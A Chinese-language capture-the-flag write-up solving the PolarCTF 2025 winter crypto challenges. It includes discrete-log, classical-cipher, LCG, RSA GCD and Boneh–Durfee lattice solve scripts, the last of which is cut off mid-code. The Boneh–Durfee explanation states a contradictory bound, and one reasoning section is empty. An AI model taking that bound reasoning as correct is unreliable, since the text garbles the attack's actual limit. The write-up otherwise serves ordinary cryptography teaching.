PolarCTF网络安全2025冬季个人挑战赛 wp

PolarCTF网络安全2025冬季个人挑战赛

Crypto

trod

分析过程:

题目给出了一个基于 Python 实现的加密系统,定义了一套非标准的"加法"运算规则 add(a, b, p)​。通过观察 add 函数中的有理分式结构:

x 3 = x 1 x 2 − x 1 y 2 − x 2 y 1 + 2 y 1 y 2 x 1 + x 2 − y 1 − y 2 − 1 , y 3 = y 1 y 2 x 1 + x 2 − y 1 − y 2 − 1 x_3 = \frac{x_1 x_2 - x_1 y_2 - x_2 y_1 + 2 y_1 y_2}{x_1 + x_2 - y_1 - y_2 - 1}, \quad y_3 = \frac{y_1 y_2}{x_1 + x_2 - y_1 - y_2 - 1} x3=x1+x2−y1−y2−1x1x2−x1y2−x2y1+2y1y2,y3=x1+x2−y1−y2−1y1y2

通过代数变形可以发现,存在一个同构映射 ϕ ( ( x , y ) ) = x − y y ( m o d p ) \phi((x,y)) = \frac{x-y}{y} \pmod p ϕ((x,y))=yx−y(modp)。在这个映射下,题目定义的复杂群加法运算等价于模 p p p 环上的乘法运算,即 ϕ ( A + B ) = ϕ ( A ) × ϕ ( B ) ( m o d p ) \phi(A+B) = \phi(A) \times \phi(B) \pmod p ϕ(A+B)=ϕ(A)×ϕ(B)(modp)。

题目本质是一个离散对数问题(DLP)。我们需要解出 aliceSecret,满足 A = aliceSecret ⋅ g A = \text{aliceSecret} \cdot g A=aliceSecret⋅g。利用映射将点 g g g 和 A A A 转换为标量 g ′ = ϕ ( g ) g' = \phi(g) g′=ϕ(g) 和 A ′ = ϕ ( A ) A' = \phi(A) A′=ϕ(A),问题转化为求解 g ′ x ≡ A ′ ( m o d p ) g'^x \equiv A' \pmod p g′x≡A′(modp)。由于 p p p 不是强素数(或者 p − 1 p-1 p−1 较光滑),利用 SageMath 的 discrete_log 函数(基于 Pohlig-Hellman 算法)可以瞬间解出私钥。最后利用私钥和 Bob 的公钥计算共享密钥,异或解密得到 Flag。

核心知识点:

  1. 代数群同构:将复杂的自定义群运算映射为简单的有限域(或环)乘法群运算。
  2. 离散对数问题 (DLP) :在有限域上求解指数。
  3. Pohlig-Hellman 算法:当群的阶数包含小素因子时,用于快速求解 DLP。

exp

python 复制代码
# 这是一个 SageMath 脚本,请保存为 solve.sage 运行
import sys

# ---------------- 题目原始参数与函数 ----------------
p = 518176062457782304884612410952519332834134329945067733347561865398388593
g = (36787147675581394808139907493983017478037802710811666907537030656, 9196786918895348702034976873495754369509450677702916726884257664)
A = (123420721694594649929479399223574107534344333995718594245237838243095171, 441474954859299544474995920494435026572932663211423760492509380991644019)
B = (201033191494423227078517457992052009778645182262306784843547224098182904, 218648529653244920425405172206343059964354475824649267929238496666580596)
encrypted_message = 100093982037856112608548215034731454533357581263010216959659834987333181487918721876307552567021052798183868853477600221794005089397754541179893146978

# 原题的运算逻辑,用于最后计算共享密钥
def egcd(a, b):
    if a == 0: return b, 0, 1
    g_val, y, x = egcd(b % a, a)
    return g_val, x - (b // a) * y, y

def mod_inv_py(a, p):
    a %= p
    _, x, _ = egcd(a, p)
    return x % p

def add(a, b, p):
    if b == -1: return a
    if a == -1: return b
    x1, y1 = a
    x2, y2 = b
    denom = (x1 + x2 - y1 - y2 - 1)
    inv_denom = mod_inv_py(denom, p)
    x3 = ((x1 * x2 - x1 * y2 - x2 * y1 + 2 * y1 * y2) * inv_denom) % p
    y3 = ((y1 * y2) * inv_denom) % p
    return x3, y3

def double_add(a, p): return add(a, a, p)

def mod_mul(m, g_val, p):
    r = -1
    while m != 0:
        if m & 1: r = add(r, g_val, p)
        m >>= 1
        g_val = double_add(g_val, p)
    return r

def Sn(i):
    s = ''
    while i != 0:
        digit = i & 0xff
        i >>= 8
        s += chr(digit)
    return s

# ---------------- 攻击逻辑 ----------------

# 1. 初始化环 (p 是合数,使用 IntegerModRing)
R = IntegerModRing(p)

# 2. 定义同构映射 phi(P) = (x-y)/y
def phi(P):
    x, y = P
    return (R(x) - R(y)) / R(y)

# 3. 映射生成元和 Alice 公钥
g_prime = phi(g)
A_prime = phi(A)

print("[-] Solving Discrete Log...")
# 4. 求解离散对数 g'^x = A' mod p
alice_secret = discrete_log(A_prime, g_prime)
print(f"[+] Alice Secret: {alice_secret}")

# 5. 计算共享密钥 (使用原题逻辑确保坐标一致)
# AliceMS = alice_secret * B
shared_point = mod_mul(int(alice_secret), B, p)

# 6. 计算 Master Secret 并解密
master_secret = int(shared_point[0]) * int(shared_point[1])
decrypted_int = int(encrypted_message) ^^ int(master_secret) # Sage中异或需用 ^^ 或转 int

flag = Sn(decrypted_int)
print(f"[+] FLAG: {flag}")

flag:flag{Who_has_the_computer_organization_principle_in_the_exam?}

渐增套娃

分析过程:

题目给出了三段数字密文和一个初始条件 24292125​ 对应 flag

  1. 分析加密方式

    观察 flag 对应的数字:

    • f -> 24 (键盘第2行第4个)
    • l -> 29 (键盘第2行第9个)
    • a -> 21 (键盘第2行第1个)
    • g -> 25 (键盘第2行第5个)
      确认这是 QWERTY 键盘坐标密码 (行号+列号)。
  2. 解密第一段

    密文:22151311012182213

    • 22(s) 15(t) 13(e) 110§ 12(w) 18(i) 22(s) 13(e)
    • 结果:stepwise
  3. 解密第二段

    密文:36122921261633143212

    • 坐标转换得到:nwlahycrxw

    • 观察这是一个乱码,尝试凯撒密码(Caesar Cipher)。

    • 进行位移 -9 (Shift 17):

      • n->e, w->n, l->c, a->r, h->y, y->p, c->t, r->i, x->o, w->n
    • 结果:encryption

  4. 解密第三段

    密文:3619373118351933

    • 坐标转换得到:nomziboc

    • 再次尝试凯撒密码。对 nomziboc 进行位移枚举。

    • 当位移为 +5 时:

      • n (13) + 5 -> s (18)
      • o (14) + 5 -> t (19)
      • m (12) + 5 -> r (17)
      • z (25) + 5 -> e (04)
      • i (08) + 5 -> n (13)
      • b (01) + 5 -> g (06)
      • o (14) + 5 -> t (19)
      • c (02) + 5 -> h (07)
    • 结果:strength

核心知识点:

  1. QWERTY 键盘密码:利用键盘布局将字母映射为坐标数字。
  2. 凯撒密码 (Caesar Cipher) :通过对字母表进行偏移来还原有意义的单词。
  3. 词频与语义分析:在多层解密中,利用上下文(如 "stepwise encryption")推测最后一个单词应当是相关的术语(如 "strength")。

exp:

手动计算或使用 Python 脚本辅助验证凯撒位移:

python 复制代码
def decrypt_caesar(text, shift):
    res = ""
    for c in text:
        if 'a' <= c <= 'z':
            res += chr((ord(c) - ord('a') + shift) % 26 + ord('a'))
        else:
            res += c
    return res

# 第三段坐标解码结果
cipher_part3 = "nomziboc"

# 暴力枚举寻找有意义单词
print(f"Original: {cipher_part3}")
for s in range(26):
    decoded = decrypt_caesar(cipher_part3, s)
    # 当 shift=5 时,输出 strength
    if "strength" in decoded:
        print(f"Shift {s}: {decoded}  <-- FOUND")

python 复制代码
#!/usr/bin/env python3

# QWERTY 键盘布局
keyboard = [
    "1234567890",      # 第0行
    "qwertyuiop",      # 第1行
    "asdfghjkl",       # 第2行
    "zxcvbnm"          # 第3行
]

def parse_coordinates(s):
    """解析QWERTY键盘坐标"""
    result = ""
    i = 0
    while i < len(s):
        # 优先尝试三位坐标(行号1位,列号2位)
        if i + 2 < len(s):
            row = int(s[i])
            col = int(s[i+1:i+3]) - 1
            if 0 <= row < len(keyboard) and 0 <= col < len(keyboard[row]):
                result += keyboard[row][col]
                i += 3
                continue
        
        # 尝试两位坐标(行号1位,列号1位)
        if i + 1 < len(s):
            row = int(s[i])
            col = int(s[i+1]) - 1
            if 0 <= row < len(keyboard) and 0 <= col < len(keyboard[row]):
                result += keyboard[row][col]
                i += 2
                continue
        
        i += 1
    
    return result

def caesar_decrypt(text, shift):
    """凯撒密码解密"""
    result = ""
    for char in text:
        if char.isalpha():
            result += chr((ord(char) - ord('a') - shift) % 26 + ord('a'))
        else:
            result += char
    return result

# 数据
seg1 = "22151311012182213"
seg2 = "36122921261633143212"
seg3 = "3619373118351933"

# 解密
seg1_decoded = parse_coordinates(seg1)
seg2_decoded = parse_coordinates(seg2)
seg3_decoded = parse_coordinates(seg3)

# 凯撒密码
seg2_result = caesar_decrypt(seg2_decoded, 9)
seg3_result = caesar_decrypt(seg3_decoded, 21)

# 输出答案
print(f"flag{{{seg1_decoded} {seg2_result} {seg3_result}}}")

flag:flag{stepwise encryption strength}

EzAES

题目:

python 复制代码
k = 54686973497341555331323435363638
IV = 496E697469616C697A6174696F6E2056
c = ae4ff1ccc900eb0ba99857c297cf0b73
#得到的答案进行MD5的32位小写加密以获得flag

思路:

flag:flag{3f234da2fe6e8c189048e522b18fefed}

创造lcg

题目:

python 复制代码
from Crypto.Util.number import *
from secret import FLAG
p = getPrime(128)
step = len(FLAG) // 3
lcg = [bytes_to_long(FLAG[:step]), bytes_to_long(FLAG[step:2*step]), bytes_to_long(FLAG[2*step:])]
a = getPrime(80)
b = getPrime(80)
c = getPrime(80)
a = 678292774844628690689951
b = 799218428050845578943269
c = 871991670671866736323531
p = 226554022535584634512578046463759712133

for _ in range(10):
    new_state = (a*lcg[0] + b*lcg[1] + c*lcg[2]) % p
    lcg = lcg[1:] + [new_state]
    #print(lcg)
print(lcg)
print(a, b, c, p)
python 复制代码
[(531812496965714475754459274425954913), (573493247306997567791036597408132959), (531874692922906583591521900672740733)]
a = 678292774844628690689951
b = 799218428050845578943269
c = 871991670671866736323531
p = 226554022535584634512578046463759712133


既然没有明确的lcg,那就构造一个lcg

思路:

非预期了,

python 复制代码
from Crypto.Util.number import long_to_bytes

state = [
    531812496965714475754459274425954913,
    573493247306997567791036597408132959,
    531874692922906583591521900672740733
]

for num in state:
    print(long_to_bytes(num), '')

flag:flag{try_to_transform_it_into_formulaic_form}

xiaoji的RSA

题目:

python 复制代码
import libnum
from flag import *

m1 = libnum.s2n(flag[:21])
m2 = libnum.s2n(flag[21:])
p = libnum.generate_prime(1024)
q = libnum.generate_prime(1024)
e = 0x10001
n = p * q
h1 = pow(2025 * p + 2024 * q, 7717, n)
h2 = pow(2024 * p + 2025 * q, 8859, n)
c1 = pow(m1, e, n)
c2 = pow(m2, e, n)


print("h1=", h1)
print("h2=", h2)
print("n=", n)
print("c=", (c1 + c2))
print("leak=", (c1 * 2 - c2))



#output
# h1 = 14598570770570369251044298637863318854969244053819114954671895416691350802920687681668270301378543649113252159681469894140327953343981428435557763783575047421073785093934100988516182011757805151301552786226747639175213248064364104458391503594386384710007637410647669428289271030281975860741433987188926890687769189330536656978907095466736760156091550669274865538908426382007469741745093518762985240171234021436305408209014615992584706412209748494302146308826117702351113891442300797965409831595569786933763773967575744129781374727612526423706127336276048951135368854093017991855415497273999713365969103371554004824509
# h2 = 11655430400126708521266628893465012008156070100550313215125940102411494976112918677189030755406554269846801368688286768397687408859238412058773272768466345174217960738213084397497134648104645110774595383007722678343723326165844773931623583737649558732929341710652376370393000666923877685083880991816166675473675993119565288119886891401337292448811477124318462203416303782364411201690259713617106545395093938159021072322598644028525378190756212177234492649667270787158675885995463312527798325191816554894434526912762675422186788558909636033206644624947398671285555871818986699430277747968998624440765160214625508302582
# n = 16117539256891249484718413429700173002583084988861340273782389608188420881800342876872775121756821301056788500260045796850939585388076522939011021777251658702207624594144564384121357888401608404641571728859619754015070281985119363898471820577703197516678288716301039869441770173970562352919565912788016889342101896134309321994797037369608180360632790282197647969119609543804552490560372790883065970972189091831856508916272396614853136857081227250153104695845022919856333090412792344985816893032033703744649648621089458783293225651830841418574525258165458710362104364949367148707705685722700758399918195168711661909001
# c = 18062960292926203405106631570645792887346762710596094595946201638145269792362432970619678514073768330282072122297774770846723026262793638145140252714036118255298935496782643261099997757452005888950084317572578983859160308143219449311014720216597693717833093096186064214815571678655104145532183363580096161113659794514705540535423432576540755810113817779577012494191762397204056012915596163266097092210799790994886142736276356044755057247863118120000651380079123033610186723297866795705886993017274323290850712391555552018597217459748407996232225971214252337750534257640641166056960137653051788480104937847471213865531
# leak = 29786109562795434767286575222202920392934698151772733519827029723076564127577506924725472620552207928305324807071633980845799428305323747287497587012814817694240321762385052643719779704776885137653915759833442842418374852111545817139388092965791383085268376283252367393215830021523854878152740193684532064211244526477475872824124551317767515936013314015487953976823909663377712672258700701049790904432754196590520755614551428222850284265995888579989169357385240073615572407415594868320441237551194011351100321407974631166974196395240849462596136681294133772802147270429624576958515766511950802469230517874955000694776

思路:

分析过程

  1. 密文还原 (Linear Equation Solving) :

    题目给出了 c = c1 + c2​ 和 leak = 2*c1 - c2。这是一个关于 c 1 c1 c1 和 c 2 c2 c2 的二元一次方程组。

    将两式相加:c + leak = 3 * c1 → \rightarrow → c1 = (c + leak) // 3​。

    将第一式乘2减去第二式(或者代入c1):2*c - leak = 2*c1 + 2*c2 - 2*c1 + c2 = 3 * c2 → \rightarrow → c2 = (2*c - leak) // 3

    由此可还原出两个分段的密文 c 1 c1 c1 和 c 2 c2 c2。

  2. 模数分解 (GCD Attack) :

    题目给出了两个提示信息:
    h 1 ≡ ( 2025 p + 2024 q ) 7717 ( m o d n ) h1 \equiv (2025p + 2024q)^{7717} \pmod n h1≡(2025p+2024q)7717(modn)
    h 2 ≡ ( 2024 p + 2025 q ) 8859 ( m o d n ) h2 \equiv (2024p + 2025q)^{8859} \pmod n h2≡(2024p+2025q)8859(modn)

    利用 n = p × q n = p \times q n=p×q,我们分别在模 p p p 和模 q q q 下分析:

    在模 p p p 下, 2025 p ≡ 0 2025p \equiv 0 2025p≡0,故:
    h 1 ≡ ( 2024 q ) 7717 ( m o d p ) h1 \equiv (2024q)^{7717} \pmod p h1≡(2024q)7717(modp)
    h 2 ≡ ( 2025 q ) 8859 ( m o d p ) h2 \equiv (2025q)^{8859} \pmod p h2≡(2025q)8859(modp)

    为了消除未知数 q q q,我们将 h 1 h1 h1 和 h 2 h2 h2 的指数统一为 7717 × 8859 7717 \times 8859 7717×8859:
    h 1 8859 ≡ ( 2024 ) 7717 × 8859 ⋅ q 7717 × 8859 ( m o d p ) h1^{8859} \equiv (2024)^{7717 \times 8859} \cdot q^{7717 \times 8859} \pmod p h18859≡(2024)7717×8859⋅q7717×8859(modp)
    h 2 7717 ≡ ( 2025 ) 7717 × 8859 ⋅ q 7717 × 8859 ( m o d p ) h2^{7717} \equiv (2025)^{7717 \times 8859} \cdot q^{7717 \times 8859} \pmod p h27717≡(2025)7717×8859⋅q7717×8859(modp)

    计算两者的比值(即 h 2 7717 ⋅ ( h 1 8859 ) − 1 h2^{7717} \cdot (h1^{8859})^{-1} h27717⋅(h18859)−1):
    h 2 7717 h 1 8859 ≡ ( 2025 2024 ) 7717 × 8859 ( m o d p ) \frac{h2^{7717}}{h1^{8859}} \equiv \left(\frac{2025}{2024}\right)^{7717 \times 8859} \pmod p h18859h27717≡(20242025)7717×8859(modp)

    令 V o b s = h 2 7717 ⋅ h 1 − 8859 ( m o d n ) V_{obs} = h2^{7717} \cdot h1^{-8859} \pmod n Vobs=h27717⋅h1−8859(modn),令 V r e a l = ( 2025 ⋅ 202 4 − 1 ) 7717 × 8859 ( m o d n ) V_{real} = (2025 \cdot 2024^{-1})^{7717 \times 8859} \pmod n Vreal=(2025⋅2024−1)7717×8859(modn)。

    则 V o b s − V r e a l V_{obs} - V_{real} Vobs−Vreal 是 p p p 的倍数。

    计算 GCD ( V o b s − V r e a l , n ) \text{GCD}(V_{obs} - V_{real}, n) GCD(Vobs−Vreal,n) 即可求出 p p p,进而得到 q q q。

  3. 解密 (RSA Decryption) :

    得到 p , q p, q p,q 后,计算 d = e − 1 ( m o d ( p − 1 ) ( q − 1 ) ) d = e^{-1} \pmod{(p-1)(q-1)} d=e−1(mod(p−1)(q−1))。

    分别解密 m 1 = c 1 d ( m o d n ) m1 = c1^d \pmod n m1=c1d(modn) 和 m 2 = c 2 d ( m o d n ) m2 = c2^d \pmod n m2=c2d(modn)。

    最后将 m 1 m1 m1 和 m 2 m2 m2 转为字节串并拼接得到 flag。

核心知识点

  • RSA 线性方程组求解:利用已知的密文线性组合关系还原原始密文。
  • 同余性质与 GCD 攻击 :利用 n = p q n=pq n=pq 的性质,在模 p p p 域下消除变量 q q q,构建差值利用最大公约数(GCD)分解 n n n。
  • RSA 基础解密:常规的 RSA 私钥计算与解密流程。

EXP

python 复制代码
from Crypto.Util.number import *
import gmpy2


h1 = 14598570770570369251044298637863318854969244053819114954671895416691350802920687681668270301378543649113252159681469894140327953343981428435557763783575047421073785093934100988516182011757805151301552786226747639175213248064364104458391503594386384710007637410647669428289271030281975860741433987188926890687769189330536656978907095466736760156091550669274865538908426382007469741745093518762985240171234021436305408209014615992584706412209748494302146308826117702351113891442300797965409831595569786933763773967575744129781374727612526423706127336276048951135368854093017991855415497273999713365969103371554004824509
h2 = 11655430400126708521266628893465012008156070100550313215125940102411494976112918677189030755406554269846801368688286768397687408859238412058773272768466345174217960738213084397497134648104645110774595383007722678343723326165844773931623583737649558732929341710652376370393000666923877685083880991816166675473675993119565288119886891401337292448811477124318462203416303782364411201690259713617106545395093938159021072322598644028525378190756212177234492649667270787158675885995463312527798325191816554894434526912762675422186788558909636033206644624947398671285555871818986699430277747968998624440765160214625508302582
n = 16117539256891249484718413429700173002583084988861340273782389608188420881800342876872775121756821301056788500260045796850939585388076522939011021777251658702207624594144564384121357888401608404641571728859619754015070281985119363898471820577703197516678288716301039869441770173970562352919565912788016889342101896134309321994797037369608180360632790282197647969119609543804552490560372790883065970972189091831856508916272396614853136857081227250153104695845022919856333090412792344985816893032033703744649648621089458783293225651830841418574525258165458710362104364949367148707705685722700758399918195168711661909001
c = 18062960292926203405106631570645792887346762710596094595946201638145269792362432970619678514073768330282072122297774770846723026262793638145140252714036118255298935496782643261099997757452005888950084317572578983859160308143219449311014720216597693717833093096186064214815571678655104145532183363580096161113659794514705540535423432576540755810113817779577012494191762397204056012915596163266097092210799790994886142736276356044755057247863118120000651380079123033610186723297866795705886993017274323290850712391555552018597217459748407996232225971214252337750534257640641166056960137653051788480104937847471213865531
leak = 29786109562795434767286575222202920392934698151772733519827029723076564127577506924725472620552207928305324807071633980845799428305323747287497587012814817694240321762385052643719779704776885137653915759833442842418374852111545817139388092965791383085268376283252367393215830021523854878152740193684532064211244526477475872824124551317767515936013314015487953976823909663377712672258700701049790904432754196590520755614551428222850284265995888579989169357385240073615572407415594868320441237551194011351100321407974631166974196395240849462596136681294133772802147270429624576958515766511950802469230517874955000694776

e_enc = 0x10001
e1 = 7717
e2 = 8859

c1 = (c + leak) // 3
c2 = (2 * c - leak) // 3

base_ratio = (2025 * pow(2024, -1, n)) % n
target_val = pow(base_ratio, e1 * e2, n)
obs_val = (pow(h2, e1, n) * pow(pow(h1, e2, n), -1, n)) % n
p = gmpy2.gcd(obs_val - target_val, n)
q = n // p

assert p * q == n

phi = (p - 1) * (q - 1)
d = pow(e_enc, -1, phi)

m1 = pow(c1, d, n)
m2 = pow(c2, d, n)

flag = long_to_bytes(m1) + long_to_bytes(m2)
print("[+] Flag:", flag.decode())

flag:flag{fc08e137-5be9-4677-a1f5-4e640223df0e}

高位攻击

题目:

python 复制代码
from Crypto.Util.number import *
from secret import flag
# 生成1024位的大素数p和q
p = getPrime(1024)
q = getPrime(1024)

# 计算RSA模数n
n = p * q

d=getPrime(521)
e = inverse(d,(p-1)*(q-1))
flag_int = bytes_to_long(flag())
c = pow(flag_int, e, n)
# 生成提示信息1:p的高位部分(右移224位)
hint1 = p >> (1024-224)

# 生成提示信息2:q的高位部分(右移224位)
hint2 = q >> (1024-224)
print(f"n = {n}")
print(f"e = {e}")
print(f"c = {c}")
print(f"hint1 = {hint1}")
print(f"hint2 = {hint2}")



'''
n = 28384198625234311024055591508760545859772557962616705058087134570313766078246339432810722251075770426155260882976548948745855775802466082136886198916308950895091350291804323083377746723426585662829956721593008069417593656058519847917141571157423337000995823498275338699783892359735051369928648561714630161425631668045643208548745557419257154201912621422125784538013535319473974771074731705230991582524865280419594116357454200441743555890216903447536600103202560201259871803992219002685757605178878578265090068993111854329728311196716695934142083541791762952464173221834117578210442075243829228771641151482461878395681
e = 24233198590433138929759046268361507704173924810200652679220620112938468106193887274039561623781677698718659545011949842007599587857513820908529013019054134965026341908641820214813864848590705039503962393544485942577593170832200318338048424938687583902593193451991009036073079376645787351773806712023712043915544661222738699918976674231029998684765476662313863475966304161444465282825845046504385175046765187829943107254178661647191288636247051016225997643316505985860750972663378492448313338846037936997542245777268091759458108263910160659565995588095034641162401363842335174968680271594738396192872825937509377247217
c = 940844774044002760041224401562703091111426466612866082339966140841639939444648025078973826624076043358296937037021610358779157680065548800768654725751103021962957103161713314365598234258437018412919647354775780700585758075623352776449216395723630660676425946215835561424716152933938854890964273887565373627808873987131623770696128641766795559659984456300489545944324461938795805156161909329750290251725440271617055330398638953715159135274381585663770711778978803710571670536163056904818086237979881559953073139720433782186818163069926281641109314202702006420384137994982480163260679548223758917067813649186512456317
hint1 = 24918310222298699952176984963600731297429200840056013317855084116853  # p高位
hint2 = 25619165931627397281111327022328112349852649641215268689996006001965  # q高位
'''

思路:

计算数量级:

  • l o g 2 n ≈ 2048 \\log_2 n \approx 2048 log2n≈2048
  • log ⁡ 2 d ≈ 521 \log_2 d \approx 521 log2d≈521

因此 d ≈ n 521 / 2048 ≈ n 0.254 d \approx n^{521/2048} \approx n^{0.254} d≈n521/2048≈n0.254

这远小于 Boneh--Durfee 小私钥攻击的安全界 d ≈ n 521 / 2048 ≈ n 0.254 d \approx n^{521/2048} \approx n^{0.254} d≈n521/2048≈n0.254。所以直接利用 Boneh--Durfee 攻击即可

exp:

python 复制代码
from __future__ import print_function
import time
from Crypto.Util.number import long_to_bytes
from Crypto.PublicKey import RSA

############################################
# Config
##########################################

"""
Setting debug to true will display more informations
about the lattice, the bounds, the vectors...
"""
debug = True

"""
Setting strict to true will stop the algorithm (and
return (-1, -1)) if we don't have a correct
upperbound on the determinant. Note that this
doesn't necesseraly mean that no solutions
will be found since the theoretical upperbound is
usualy far away from actual results. That is why
you should probably use `strict = False`
"""
strict = False

"""
This is experimental, but has provided remarkable results
so far. It tries to reduce the lattice as much as it can
while keeping its efficiency. I see no reason not to use
this option, but if things don't work, you should try
disabling it
"""
helpful_only = True
dimension_min = 7 # stop removing if lattice reaches that dimension

############################################
# Functions
##########################################

# display stats on helpful vectors
def helpful_vectors(BB, modulus):
    nothelpful = 0
    for ii in range(BB.dimensions()[0]):
        if BB[ii,ii] >= modulus:
            nothelpful += 1

    print(nothelpful, "/", BB.dimensions()[0], " vectors are not helpful")

# display matrix picture with 0 and X
def matrix_overview(BB, bound):
    for ii in range(BB.dimensions()[0]):
        a = ('%02d ' % ii)
        for jj in range(BB.dimensions()[1]):
            a += '0' if BB[ii,jj] == 0 else 'X'
            if BB.dimensions()[0] < 60:
                a += ' '
        if BB[ii, ii] >= bound:
            a += '~'
        print(a)

# tries to remove unhelpful vectors
# we start at current = n-1 (last vector)
def remove_unhelpful(BB, monomials, bound, current):
    # end of our recursive function
    if current == -1 or BB.dimensions()[0] <= dimension_min:
        return BB

    # we start by checking from the end
    for ii in range(current, -1, -1):
        # if it is unhelpful:
        if BB[ii, ii] >= bound:
            affected_vectors = 0
            affected_vector_index = 0
            # let's check if it affects other vectors
            for jj in range(ii + 1, BB.dimensions()[0]):
                # if another vector is affected:
                # we increase the count
                if BB[jj, ii] != 0:
                    affected_vectors += 1
                    affected_vector_index = jj

            # level:0
            # if no other vectors end up affected
            # we remove it
            if affected_vectors == 0:
                print("* removing unhelpful vector", ii)
                BB = BB.delete_columns([ii])
                BB = BB.delete_rows([ii])
                monomials.pop(ii)
                BB = remove_unhelpful(BB, monomials, bound, ii-1)
                return BB

            # level:1
            # if just one was affected we check
            # if it is affecting someone else
            elif affected_vectors == 1:
                affected_deeper = True
                for kk in range(affected_vector_index + 1, BB.dimensions()[0]):
                    # if it is affecting even one vector
                    # we give up on this one
                    if BB[kk, affected_vector_index] != 0:
                        affected_deeper = False
                # remove both it if no other vector was affected and
                # this helpful vector is not helpful enough
                # compared to our unhelpful one
                if affected_deeper and abs(bound - BB[affected_vector_index, affected_vector_index]) < abs(bound - BB[ii, ii]):
                    print("* removing unhelpful vectors", ii, "and", affected_vector_index)
                    BB = BB.delete_columns([affected_vector_index, ii])
                    BB = BB.delete_rows([affected_vector_index, ii])
                    monomials.pop(affected_vector_index)
                    monomials.pop(ii)
                    BB = remove_unhelpful(BB, monomials, bound, ii-1)
                    return BB
    # nothing happened
    return BB

""" 
Returns:
* 0,0   if it fails
* -1,-1 if `strict=true`, and determinant doesn't bound
* x0,y0 the solutions of `pol`
"""
def boneh_durfee(pol, modulus, mm, tt, XX, YY):
    """
    Boneh and Durfee revisited by Herrmann and May
    
    finds a solution if:
    * d < N^delta
    * |x| < e^delta
    * |y| < e^0.5
    whenever delta < 1 - sqrt(2)/2 ~ 0.292
    """

    # substitution (Herrman and May)
    PR.<u, x, y> = PolynomialRing(ZZ)
    Q = PR.quotient(x*y + 1 - u) # u = xy + 1
    polZ = Q(pol).lift()

    UU = XX*YY + 1

    # x-shifts
    gg = []
    for kk in range(mm + 1):
        for ii in range(mm - kk + 1):
            xshift = x^ii * modulus^(mm - kk) * polZ(u, x, y)^kk
            gg.append(xshift)
    gg.sort()

    # x-shifts list of monomials
    monomials = []
    for polynomial in gg:
        for monomial in polynomial.monomials():
            if monomial not in monomials:
                monomials.append(monomial)
    monomials.sort()
    
    # y-shifts (selected by Herrman and May)
    for jj in range(1, tt + 1):
        for kk in range(floor(mm/tt) * jj, mm + 1):
            yshift = y^jj * polZ(u, x, y)^kk * modulus^(mm - kk)
            yshift = Q(yshift).lift()
            gg.append(yshift) # substitution
    
    # y-shifts list of monomials
    for jj in range(1, tt + 1):
        for kk in range(floor(mm/tt) * jj, mm + 1):
            monomials.append(u^kk * y^jj)

    # construct lattice B
    nn = len(monomials)
    BB = Matrix(ZZ, nn)
    for ii in range(nn):
        BB[ii, 0] = gg[ii](0, 0, 0)
        for jj in range(1, ii + 1):
            if monomials[jj] in gg[ii].monomials():
                BB[ii, jj] = gg[ii].monomial_coefficient(monomials[jj]) * monomials[jj](UU,XX,YY)

    # Prototype to reduce the lattice
    if helpful_only:
        # automatically remove
        BB = remove_unhelpful(BB, monomials, modulus^mm, nn-1)
        # reset dimension
        nn = BB.dimensions()[0]
        if nn == 0:
            print("failure")
            return 0,0

    # check if vectors are helpful
    if debug:
        helpful_vectors(BB, modulus^mm)
    
    # check if determinant is correctly bounded
    det = BB.det()
    bound = modulus^(mm*nn)
    if det >= bound:
        print("We do not have det < bound. Solutions might not be found.")
        print("Try with highers m and t.")
        if debug:
            diff = (log(det) - log(bound)) / log(2)
            print("size det(L) - size e^(m*n) = ", floor(diff))
        if strict:
            return -1, -1
    else:
        print("det(L) < e^(m*n) (good! If a solution exists < N^delta, it will be found)")

    # display the lattice basis
    if debug:
        matrix_overview(BB, modulus^mm)

    # LLL
    if debug:
        print("optimizing basis of the lattice via LLL, this can take a long time")

    BB = BB.LLL()

    if debug:
        print("LLL is done!")

    # transform vector i & j -> polynomials 1 & 2
    if debug:
        print("looking for independent vectors in the lattice")
    found_polynomials = False
    
    for pol1_idx in range(nn - 1):
        for pol2_idx in range(pol1_idx + 1, nn):
            # for i and j, create the two polynomials
            PR.<w,z> = PolynomialRing(ZZ)
            pol1 = pol2 = 0
            for jj in range(nn):
                pol1 += monomials[jj](w*z+1,w,z) * BB[pol1_idx, jj] / monomials[jj](UU,XX,YY)
                pol2 += monomials[jj](w*z+1,w,z) * BB[pol2_idx, jj] / monomials[jj](UU,XX,YY)

            # resultant
            PR.<q> = PolynomialRing(ZZ)
            rr = pol1.resultant(pol2)

            # are these good polynomials?
            if rr.is_zero() or rr.monomials() == [1]:
                continue
            else:
                print("found them, using vectors", pol1_idx, "and", pol2_idx)
                found_polynomials = True
                break
        if found_polynomials:
            break

    if not found_polynomials:
        print("no independant vectors could be found. This should very rarely happen...")
        return 0, 0
    
    rr = rr(q, q)

    # solutions
    soly = rr.roots()

    if len(soly) == 0:
        print("Your prediction (delta) is too small")
        return 0, 0

    soly = soly[0][0]
    ss = pol1(q, soly)
    solx = ss.roots()[0][0]

    #
    return solx, soly

def example():
    ############################################
    # How To Use This Script
    ##########################################

    #
    # The problem to solve (edit the following values)
    #

    # the modulus
    N = 28384198625234311024055591508760545859772557962616705058087134570313766078246339432810722251075770426155260882976548948745855775802466082136886198916308950895091350291804323083377746723426585662829956721593008069417593656058519847917141571157423337000995823498275338699783892359735051369928648561714630161425631668045643208548745557419257154201912621422125784538013535319473974771074731705230991582524865280419594116357454200441743555890216903447536600103202560201259871803992219002685757605178878578265090068993111854329728311196716695934142083541791762952464173221834117578210442075243829228771641151482461878395681
    # the public exponent
    e = 24233198590433138929759046268361507704173924810200652679220620112938468106193887274039561623781677698718659545011949842007599587857513820908529013019054134965026341908641820214813864848590705039503962393544485942577593170832200318338048424938687583902593193451991009036073079376645787351773806712023712043915544661222738699918976674231029998684765476662313863475966304161444465282825845046504385175046765187829943107254178661647191288636247051016225997643316505985860750972663378492448313338846037936997542245777268091759458108263910160659565995588095034641162401363842335174968680271594738396192872825937509377247217
    c = 940844774044002760041224401562703091111426466612866082339966140841639939444648025078973826624076043358296937037021610358779157680065548800768654725751103021962957103161713314365598234258437018412919647354775780700585758075623352776449216395723630660676425946215835561424716152933938854890964273887565373627808873987131623770696128641766795559659984456300489545944324461938795805156161909329750290251725440271617055330398638953715159135274381585663770711778978803710571670536163056904818086237979881559953073139720433782186818163069926281641109314202702006420384137994982480163260679548223758917067813649186512456317

    # the hypothesis on the private exponent (the theoretical maximum is 0.292)
    delta = .26 # this means that d < N^delta

    #
    # Lattice (tweak those values)
    #

    # you should tweak this (after a first run), (e.g. increment it until a solution is found)
    m = 4 # size of the lattice (bigger the better/slower)

    # you need to be a lattice master to tweak these
